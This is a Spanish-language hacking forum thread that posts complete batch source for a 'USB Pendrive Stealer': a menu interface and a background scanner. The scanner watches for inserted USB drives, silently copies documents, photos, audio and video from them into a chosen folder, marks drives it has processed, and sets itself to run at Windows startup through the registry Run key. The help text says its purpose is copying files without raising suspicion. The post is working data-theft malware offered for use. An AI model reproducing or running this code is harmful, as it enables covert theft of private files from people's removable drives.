Code-Makers ha revivido. It's alive! Bienvenidos! Presentate aca!

[SRC] USB Pendrive Stealer v 2 - DOS GUI & Scanner

Avatar de Usuario
p3ll3
Hola, mundo!
Hola, mundo!
Mensajes: 7
Registrado: Mar Oct 18, 2016 4:48 am
github: https://github.com/p3ll3

[SRC] USB Pendrive Stealer v 2 - DOS GUI & Scanner

Mensajepor p3ll3 » Mié Oct 19, 2016 6:37 am

Este es el codigo fuente correspondiente a la Interfaz alterna en Batch de la ya realizada en .Net para el USB Pendrive Stealer...

Codigo DOS GUI

Código: Seleccionar todo

@echo off
@color 0a
@title USB Pendrive Stealer v 2
::USB Pendrive Stealer
::Alternate DOS GUI to Vb.Net
::Coded by :: SmartGenius ::

echo. ;)>scan.exit
rem call :logo

:init
mode con cols=60 lines=25
call :read >nul
:load
cls
echo.
echo                ??????????????????????????
echo                ? Pendrive Stealer v 2.0  ?
echo                ??????????????????????????
echo.
echo. Carpeta de Destino: %myfolder%
echo. Tipos de Archivos:  %filetypes%
echo.
echo    Elija una Opcion:                 (X) Salir
echo.
echo   ?? ?????????????????????  ?? ???????????????????????
echo   ?1? ? Definir Carpeta ...?  ?2? ? Tipos de Archivos..  ?
echo   ??? ??????????????????????  ??? ????????????????????????
echo   ?? ?????????????????????  ?? ???????????????????????
echo   ?3? ? Agregar al Inicio  ?  ?4? ? Ayuda del Programa.. ?
echo   ??? ??????????????????????  ??? ????????????????????????
echo   ?? ?????????????????????
echo   ?5? ? Iniciar Escaneo    ?
echo   ??? ??????????????????????
echo.
set /p opc=">> "
if ["%opc%"]==[""] goto :init
if ["%opc%"]==["1"] goto :dcp
if ["%opc%"]==["2"] goto :ftype
if ["%opc%"]==["3"] goto :reg
if ["%opc%"]==["4"] goto :help
if ["%opc%"]==["5"] goto :scan
if /i ["%opc%"]==["X"] (call :msgr "Gracias por Usar este programa !&exit)
ping -n 1 0.0.0.0 >nul
goto :init

:reg
cls
echo.
echo.   Que desea hacer ?
echo.
echo    1. Agregar el Escaner al Inicio de Windows
echo    2. Eliminar el Escaner del Inicio.
echo.
set /p reg=">> "
if "%reg%"=="" goto :init
if "%reg%"=="1" call :startup "add" >nul
if "%reg%"=="2" call :startup "del" >nul
ping -n 1 0.0.0.0 >nul
goto :init

:dcp
cls
echo.
echo.
echo                ??????????????????????????
echo                ? Pendrive Stealer v 2.0  ?
echo                ??????????????????????????
echo.
echo   En esta opcion puede definir en donde se guardaran
echo   los archivos copiados...
echo.
echo  Arrastre aqui la carpeta
echo.
set /p folder=">> "
if %folder%.==. goto :dcp
set myfolder=.%folder:"=%
if not exist "%myfolder:~1%" call :msgr "No ha definido una Carpeta" &goto :init
echo %myfolder%>"myfolder.cfg"
echo.
echo  La carpeta : %folder%
echo  se ha establecido exitosamente...
echo.
ping -n 3 0.0.0.0 >nul
goto :init

:ftype
cls
echo.
echo.
echo                ??????????????????????????
echo                ? Pendrive Stealer v 2.0  ?
echo                ??????????????????????????
echo.
echo   Configure aqui los tipos de archivos que desea Escanear y Copiar
echo.
echo    Elija una Opcion:
echo.
echo   ?? ?????????????????  ?? ???????????????????????????
echo   ?1? ? Documentos...  ?  ?2? ? Imagenes ^& Fotos..       ?
echo   ??? ??????????????????  ??? ????????????????????????????
echo   ?? ?????????????????  ?? ???????????????????????????
echo   ?3? ? Musica ^& Audio ?  ?4? ? Documentos ^& Imagenes..  ?
echo   ??? ??????????????????  ??? ????????????????????????????
echo   ?? ?????????????????  ?? ???????????????????????????
echo   ?5? ? Videos *       ?  ?6? ? Todas las Opciones... *  ?
echo   ??? ??????????????????  ??? ????????????????????????????
echo.
echo  * Las Opciones 5 y 6 pueden tardar mas de lo normal...
echo.
set /p typ=">> "
if not defined typ goto :ftype
if "1%typ%"=="11" (set filetypes=*.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.txt)
if "1%typ%"=="12" (set filetypes=*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff)
if "1%typ%"=="13" (set filetypes=*.mp3,*.mp4,*.wav,*.mid,*.wma,*.ogg)
if "1%typ%"=="14" (set filetypes=*.txt,*.doc,*.pdf,*.ppt,*.pps,*.xls,*.htm,*.rtf,*.jpg,*.gif,*.bmp,*.png,*.psd,*.jpeg,*.tiff)
if "1%typ%"=="15" (set filetypes=*.mpg,*.wmv,*.asf,*.3gp,*.avi,*.mov)
if "1%typ%"=="16" (set filetypes=*.txt,*.doc,*.pdf,*.ppt,*.xls,*.htm,*.jpg,*.gif,*.bmp,*.png,*.mp3,*.mp4,*.wma)
echo.
echo  Tipos de Archivos Configurados correctamente
echo.
echo  Archivos con Extension: %filetypes%
echo.
echo %filetypes%>ftypes.cfg
ping -n 3 0.0.0.0 >nul
goto :init

:scan
start USBScanner.exe
exit

:help
cls
echo.
echo.
echo                ??????????????????????????
echo                ? Pendrive Stealer v 2.0  ?
echo                ??????????????????????????
echo.
echo  Este programa tiene la Funcion de copiar archvos desde
echo  dispositivos USB, de manera silenciosa y sin levantar
echo  sospechas...
echo.
echo  El programa puede ser congifurado facilmente, dandole
echo  opciones de escoger que tipos de archivos copiar y en
echo  que carpeta se deben guardar...
echo.
echo.
echo  Titulo:  Pendrive USB Stealer, Version 2.0
echo  Autores: :: SmartGenius ::
echo  Web:     http://thesmartgenius.wordpress.com
echo.
echo  SmartGenius, Corp. 2008
echo.
echo.
pause
goto :init

:msgr
echo MsgBox "%~1", 64, "USB Stealer" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:startup
if ["%~1"]==["add"] reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EscanerUSB /d "\"%~dp0USBScanner.exe\"" /f
if ["%~1"]==["del"] reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EscanerUSB /f
goto :eof

:read
if exist "myfolder.cfg" (
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a
) else (set myfolder=Sin Definir...&call :msgr "No ha Definido una Carpeta Destino!")
if exist "ftypes.cfg" (
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
) else (set filetypes=Sin Definir...&call :msgr "No ha Definido Tipos de Archivos !")
goto :eof

:logo
mode con cols=70 lines=37
cls
echo.
echo        ?????                                               ?????
echo      ????????                                            ????????
echo      ??????????                                         ?????????
echo    ????????????                                        ????????????
echo   ?????????????                                      ???????????????
echo   ???????????????            ??????????????????   ??????????????????
echo    ?????????????????     ??????????????????????????????????????????
echo      ?????????????????????????????????????????????????????????
echo            ??????????????????????????????????????????????
echo               ?????????????????????????????????????????
echo                 ???????????????????????????????????????
echo                ?????????????????????????????????????????
echo                ?????????????????????????????????????????
echo                ?????????????????????????????????????????
echo                ?????????????????????????????????????????
echo                ????????????????????????????????????????
echo                 ???????????????????????????????????????
echo                ??????????????????????????????????????????
echo               ?????????????????????????????????????????????
echo            ???????????????????????????????????????????????????????
echo      ?????????????????  ???????????????????????  ???????????????????
echo    ????????????????       ????????????????????     ??????????????????
echo    ??????????????         ????????????????????         ??????????????
echo    ????????????           ????????????????????          ???????????
echo      ?????????            ????????????????????          ?????????
echo        ??????                                             ??????
echo         ????                                               ????
echo.
echo              ? ? ??? ???      ??? ??? ??? ??? ?   ??? ???
echo              ? ? ?   ?  ?     ?    ?  ?   ? ? ?   ?   ? ?
echo              ? ? ??? ???  ??? ???  ?  ??? ??? ?   ??? ??
echo              ? ?   ? ?  ?       ?  ?  ?   ? ? ?   ?   ? ?
echo              ??? ??? ???      ???  ?  ??? ? ? ??? ??? ? ?
echo.
ping -n 3 0.0.0.0 >nul
goto :eof



Y el Codigo fuente del Scanner, que es el Encargado de hacer casi todo el trabajo....de copia y analisis  Sonreir

Code:

@echo off
@title USB Stealer  v 2
@REM Motor de Escaneo de USBs
@REM Coded by :: SmartGenius ::
@REM Comunidad UnderGround Hispana

if ["%~1"]==["startup"] goto :startup
del /f /q scan.exit

:ini
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder=%%a
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
if exist "scan.exit" exit
goto main

:main
for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :checkdrive %%n)
goto ini

:checkdrive
if not exist "%1:\" goto :eof
if exist "%1:\db.ini" goto :eof
if not exist "%1:\System Volume Information" call :getlabel %1
if not exist "%myfolder%\%label%" md "%myfolder%\%label%"
call :usb %1 "%label%"
goto :eof

:usb
set letra=%1
for %%s in (%filetypes%) do (copy /y "%letra%:\%%s" "%myfolder%\%~2\")
for /r %letra%: %%t in (%filetypes%) do (copy /y "%%t" "%myfolder%\%~2\")
echo USB>"%letra%:\db.ini"
goto :eof

:getlabel
for /f "tokens=8" %%a in ('^(echo USB^)^|label /MP %1:^|find "unidad"') do (set label=%%a)
if "%label%"=="tiene" set label=Unidad
(echo %label%)|label /MP %1:>nul
if "%label%"=="Unidad" set label=USB
goto :eof

:startup
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EscanerUSB /d \"%0\" /f
exit



Un Saludo ;)



_--___-----________
CODE - MAKERS
_--___-----________
Avatar de Usuario
JohnConnor
Nos vamos conociendo
Nos vamos conociendo
Mensajes: 89
Registrado: Mar Ene 05, 2016 12:59 am
Ubicación: Argentina
Contactar:

Re: [SRC] USB Pendrive Stealer v 2 - DOS GUI & Scanner

Mensajepor JohnConnor » Lun Dic 05, 2016 8:39 pm

que loco batch, lo primero que use y ya ni lo entiendo. menos los codigos complejos de SmartGenius.
Quien dice que no encuentra el foro y vuelve a las pistas..

Saludos!
Imagen

EL QUE NO DICE LA VERDAD, ES PORQUE ESTA MINTIENDO

Volver a “Batch y Bash”

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado